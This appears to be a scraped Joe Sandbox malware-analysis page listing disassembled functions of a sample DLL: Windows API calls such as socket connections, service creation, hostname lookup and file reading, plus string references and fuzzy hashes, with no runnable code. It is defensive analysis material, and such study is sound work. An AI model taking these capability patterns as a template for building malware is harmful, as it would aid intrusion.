Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 6a4f57f8dac83b6c98dde597d773086127df14ee8a1af0c549d0335dd5375140
Instruction ID: a73bacb3e9240c39cd84c2dd68e5636664ab5f53bd35aa003d1a1a68adf5fafb
Opcode Fuzzy Hash: 6a4f57f8dac83b6c98dde597d773086127df14ee8a1af0c549d0335dd5375140
Instruction Fuzzy Hash: F4E05531A4260087DA204B08DA9174AB3DAAFE9310F275069E80197202EF30E882CBA0

Non-executed Functions

Function 6A04CA10 Relevance: 21.8, APIs: 9, Strings: 3, Instructions: 778COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 6A04CB23
__time64.LIBCMT ref: 6A04CB4B
_rand.LIBCMT ref: 6A04CB5C
_memset.LIBCMT ref: 6A04CBAC

Strings

http://, xrefs: 6A04CCB1, 6A04CCE9, 6A04CDC1, 6A04CDEC
P, xrefs: 6A04CF47
https://, xrefs: 6A04CCCE, 6A04CDDA

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: _memset$__time64_rand
String ID: P$http://$https://
API String ID: 2807773216-806993781
Opcode ID: ea6b50fbd8dbad3c9e6d0697ce3f9d709b1bca9f2f8a5df19d19d9577f8dd229
Instruction ID: 215202e9dd9a42ee46c8948d344bb4a75320a1fca57bfffd641f70826a1e2b2c
Opcode Fuzzy Hash: ea6b50fbd8dbad3c9e6d0697ce3f9d709b1bca9f2f8a5df19d19d9577f8dd229
Instruction Fuzzy Hash: 5852BE70608381DBD764CF28C894B9EB7E5FF85308F054A6DE89987291DF71E909CB92

Function 6A04EAE0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

Part of subcall function 6A04D970: socket.WS2_32(00000002,00000001,00000000), ref: 6A04D995
Part of subcall function 6A04D970: ioctlsocket.WS2_32 ref: 6A04D9B1
Part of subcall function 6A04D970: htons.WS2_32(?), ref: 6A04D9E1
Part of subcall function 6A04D970: inet_addr.WS2_32(?), ref: 6A04DA15
Part of subcall function 6A04D970: connect.WS2_32(?,?,00000010), ref: 6A04DA30

closesocket.WS2_32(?), ref: 6A04EB11
_memset.LIBCMT ref: 6A04EB86
_memset.LIBCMT ref: 6A04EBA3
closesocket.WS2_32(?), ref: 6A04EC52
closesocket.WS2_32(?), ref: 6A04EC83
closesocket.WS2_32(?), ref: 6A04ECB2

Strings

P, xrefs: 6A04EB7A

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: closesocket$_memset$connecthtonsinet_addrioctlsocketsocket
String ID: P
API String ID: 729250671-3110715001
Opcode ID: d28f5acacc26280ee69a37fdbc67f1752b35e15bc4dbc05acea07c7d3bee4449
Instruction ID: e70d0eb79ba78525ae51a70b4e19f918c01b49cec81e00fcfe5922f67109aeb4
Opcode Fuzzy Hash: d28f5acacc26280ee69a37fdbc67f1752b35e15bc4dbc05acea07c7d3bee4449
Instruction Fuzzy Hash: 2D515A71608341AFD720CF64A8A9ADBB7E9FF96304F41493DD58683142EF31E50A8B92

Function 6A048BA0 Relevance: 4.5, APIs: 3, Instructions: 24serviceCOMMON

Download Yara Rule

APIs

CreateServiceA.ADVAPI32(00000000,?,?,000F01FF,00000001,00000001,00000001,?,00000000,00000000,00000000,00000000,00000000,6A048C1E), ref: 6A048BB9
GetLastError.KERNEL32(?,?,000F01FF,00000001,00000001,00000001,?,00000000,00000000,00000000,00000000,00000000,6A048C1E), ref: 6A048BC3
CloseServiceHandle.ADVAPI32(00000000,?,?,000F01FF,00000001,00000001,00000001,?,00000000,00000000,00000000,00000000,00000000,6A048C1E), ref: 6A048BD3

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: Service$CloseCreateErrorHandleLast
String ID:
API String ID: 2127812319-0
Opcode ID: 8acd33528dad65c838ff9d1aab78cf4f800718750a80a58a218cdaf52e950e18
Instruction ID: 9749d17b0e8a67ae6f6ed570e9ee556c1eaa66edabc527ff14a02c5311b05ba6
Opcode Fuzzy Hash: 8acd33528dad65c838ff9d1aab78cf4f800718750a80a58a218cdaf52e950e18
Instruction Fuzzy Hash: 43D09EB87903017EFD101A305D4EF6A259DBB55B82F905454F611E91D0D6E958459520

Function 6A06AB00 Relevance: 1.4, Strings: 1, Instructions: 140COMMON

Download Yara Rule

Strings

/"S, xrefs: 6A06AB21

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID:
String ID: /"S
API String ID: 0-2575343265
Opcode ID: ef34bb350de3edd3e2e8547af2c7c6c0cc7fd351521a8de113ed500a90174a7b
Instruction ID: cf6e179debe90e8c1a969d66a70859fad42041a72bb2e36c3556001590ac715e
Opcode Fuzzy Hash: ef34bb350de3edd3e2e8547af2c7c6c0cc7fd351521a8de113ed500a90174a7b
Instruction Fuzzy Hash: 1151D132C002489FDB02DF68E890BCD77B5EF09314F51C065D925AF292DF359A18CBA1

Function 6A084A68 Relevance: .4, Instructions: 378COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
Instruction ID: 725222837736b2b584bff037f0620e9dd3b06d0fce39e2be2bd145fd881ddd21
Opcode Fuzzy Hash: c40bcf876c129f9393d32ca3cb7471e4bcf7a4352579634fb414d11934eaa4f2
Instruction Fuzzy Hash: A8D171F7C1E9B3168BB5826D405832EEEAA6FD165031BC3E1DCE43F289D9275D1085D8

Function 6A078B0F Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 175windowCOMMON

Download Yara Rule

APIs

Part of subcall function 6A07BBC3: GetWindowLongA.USER32(?,000000F0), ref: 6A07BBCE

GetParent.USER32(?), ref: 6A078B3E
SendMessageA.USER32(00000000,0000036B,00000000,00000000), ref: 6A078B61
GetWindowRect.USER32(?,?), ref: 6A078B7B
GetWindowLongA.USER32(00000000,000000F0), ref: 6A078B91
CopyRect.USER32(?,?), ref: 6A078BDE
CopyRect.USER32(?,?), ref: 6A078BE8
GetWindowRect.USER32(00000000,?), ref: 6A078BF1
CopyRect.USER32(?,?), ref: 6A078C0D

Strings

(, xrefs: 6A078BA7

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: Rect$Window$Copy$Long$MessageParentSend
String ID: (
API String ID: 808654186-3887548279
Opcode ID: f002aa45ffd80c1f77bb3e147aef91272387fac0ee2c6ad0347e9e468de91724
Instruction ID: 8c966fd5fa9834910c30cd937837d1f0a15f9e6c5cb7a957f389dc9dcbb99513
Opcode Fuzzy Hash: f002aa45ffd80c1f77bb3e147aef91272387fac0ee2c6ad0347e9e468de91724
Instruction Fuzzy Hash: 3D513E72A00219AFDB11CBA8CD89FEEBBB9BF48314F154115F915F3181DB70E9458B64

Function 6A064AC0 Relevance: 19.4, APIs: 2, Strings: 9, Instructions: 119COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 6A064AF3

Part of subcall function 6A064990: WSAStartup.WS2_32 ref: 6A0649F1
Part of subcall function 6A064990: gethostname.WS2_32(?,00000104), ref: 6A064A01
Part of subcall function 6A064990: __strlwr.LIBCMT ref: 6A064A0D

_memset.LIBCMT ref: 6A064B16

Strings

n, xrefs: 6A064BDB
s, xrefs: 6A064BEE
e, xrefs: 6A064BE0
B, xrefs: 6A064BC8
t, xrefs: 6A064BE5
u, xrefs: 6A064BD6
1, xrefs: 6A064B65
a, xrefs: 6A064BCD
k, xrefs: 6A064BF3

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: _memset$Startup__strlwrgethostname
String ID: 1$B$a$e$k$n$s$t$u
API String ID: 4043451516-1518658690
Opcode ID: beb5b24dc118d7930224043f4c80ed7bf3d728c2f75960cc3364082810603d44
Instruction ID: 343c003ac96d1fb38d96deb15f8bf086cf6f32c662435b3e6cef63ef19ea3094
Opcode Fuzzy Hash: beb5b24dc118d7930224043f4c80ed7bf3d728c2f75960cc3364082810603d44
Instruction Fuzzy Hash: 0C41907100C3859ED311CB289868BEBBBD9AB96308F044A5DE4D887242DB65D60CC7E7

Function 6A05EB50 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 185fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,?,?,6A05F4D2), ref: 6A05EB65
GetFileSize.KERNEL32(00000000,00000000,?,6A05F4D2), ref: 6A05EB75
CloseHandle.KERNEL32(00000000,?,6A05F4D2), ref: 6A05EB83
_malloc.LIBCMT ref: 6A05EB94
CloseHandle.KERNEL32(00000000,6A05F4D2), ref: 6A05EBA3
_memset.LIBCMT ref: 6A05EBB7
ReadFile.KERNEL32(00000000,00000000,000003E8,?,00000000,?,?,?,6A05F4D2), ref: 6A05EBCD
CloseHandle.KERNEL32(00000000,?,?,?,6A05F4D2), ref: 6A05EBD4

Part of subcall function 6A080763: __lock.LIBCMT ref: 6A080781
Part of subcall function 6A080763: ___sbh_find_block.LIBCMT ref: 6A08078C
Part of subcall function 6A080763: ___sbh_free_block.LIBCMT ref: 6A08079B
Part of subcall function 6A080763: RtlFreeHeap.NTDLL(00000000,?,6A0A8B60,0000000C,6A087D3E,00000000,6A0A8F08,0000000C,6A087D78,?,?,?,6A091AC7,00000004,6A0A9288,0000000C), ref: 6A0807CB
Part of subcall function 6A080763: GetLastError.KERNEL32(?,6A091AC7,00000004,6A0A9288,0000000C,6A088E49,?,?,00000000,00000000,00000000,?,6A0877E5,00000001,00000214), ref: 6A0807DC

Strings

PEC2^O, xrefs: 6A05EC70, 6A05ECCE
PEC2fO, xrefs: 6A05EBF3, 6A05EC10, 6A05EC5D, 6A05ECBD

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: CloseFileHandle$CreateErrorFreeHeapLastReadSize___sbh_find_block___sbh_free_block__lock_malloc_memset
String ID: PEC2^O$PEC2fO
API String ID: 357344292-458899985
Opcode ID: a77ea3a8136492c333959125f64c9927095b8d8abb4b4b0045272e2fae4b6ca4
Instruction ID: fc518a3e2194571e92771e32853cab705b30b98a0f9bfd72066fb908a73b96e6
Opcode Fuzzy Hash: a77ea3a8136492c333959125f64c9927095b8d8abb4b4b0045272e2fae4b6ca4
Instruction Fuzzy Hash: A051AB7150818027F3224B204A9979A7FEBAF03314FB989A5E5D7DB282DF13E453C741

Function 6A060BD0 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 107fileCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 6A060BF8

Part of subcall function 6A05DA10: GetModuleHandleA.KERNEL32 ref: 6A05DACA
Part of subcall function 6A05DA10: GetProcAddress.KERNEL32(00000000), ref: 6A05DAD1

Part of subcall function 6A063FB0: _memset.LIBCMT ref: 6A063FD8

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,?,?,?,?,?), ref: 6A060C3A
GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,?), ref: 6A060C4E
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?), ref: 6A060C5F
_malloc.LIBCMT ref: 6A060C6B
_memset.LIBCMT ref: 6A060C7D
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,?,?,?,?,?,?,?), ref: 6A060C8F
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 6A060C96

Strings

A3M2, xrefs: 6A060CA2, 6A060CBD

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: FileHandle_memset$Close$AddressCreateModuleProcReadSize_malloc
String ID: A3M2
API String ID: 2428753672-2848054085
Opcode ID: ccd19abeb3ea96fe12eaae2b48418b41f6afdeca5e10556927ac75c5a3125ae4
Instruction ID: c6418e7165b67194283629c220073ba551ef1d8c59f77f44a3b906eca3e1be26
Opcode Fuzzy Hash: ccd19abeb3ea96fe12eaae2b48418b41f6afdeca5e10556927ac75c5a3125ae4
Instruction Fuzzy Hash: 87315CB1A442017BE6209F249C8BFEB36DDAF85728F114435FA16C71C2EF75D90986A3

Function 6A05AA90 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 226COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 6A05AAF2

Part of subcall function 6A07ED6C: __FF_MSGBANNER.LIBCMT ref: 6A07ED8F
Part of subcall function 6A07ED6C: __NMSG_WRITE.LIBCMT ref: 6A07ED96
Part of subcall function 6A07ED6C: RtlAllocateHeap.NTDLL(00000000,?,00000001,00000000,00000000,?,6A088DFF,?,00000001,?,?,6A087CE7,00000018,6A0A8F08,0000000C,6A087D78), ref: 6A07EDE3

Strings

%1s, xrefs: 6A05ABA5

Memory Dump Source

Source File: 00000002.00000002.4676640007.000000006A041000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6A040000, based on PE: true

Associated: 00000002.00000002.4676595093.000000006A040000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678207894.000000006A09A000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0AD000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B1000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678571689.000000006A0B6000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4678775859.000000006A0B8000.00000020.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4679018936.000000006A0C4000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680141969.000000006A104000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680383911.000000006A105000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680517441.000000006A10A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680554246.000000006A10B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680771779.000000006A11A000.00000040.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680808288.000000006A11B000.00000080.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000002.00000002.4680842733.000000006A11C000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6a040000_F7BE15F582DD9.jbxd

Similarity

API ID: AllocateHeap_malloc
String ID: %1s
API String ID: 501242067-3465968173
Opcode ID: 225de9ac537c223e12ea724ac3439e172a150625e8e3a2b98c2bee3ad6a0a120
Instruction ID: 3ecdd90f0de62fda4aad57a5f585cd4e77d14caa663515ec3ea3aacf4a951783
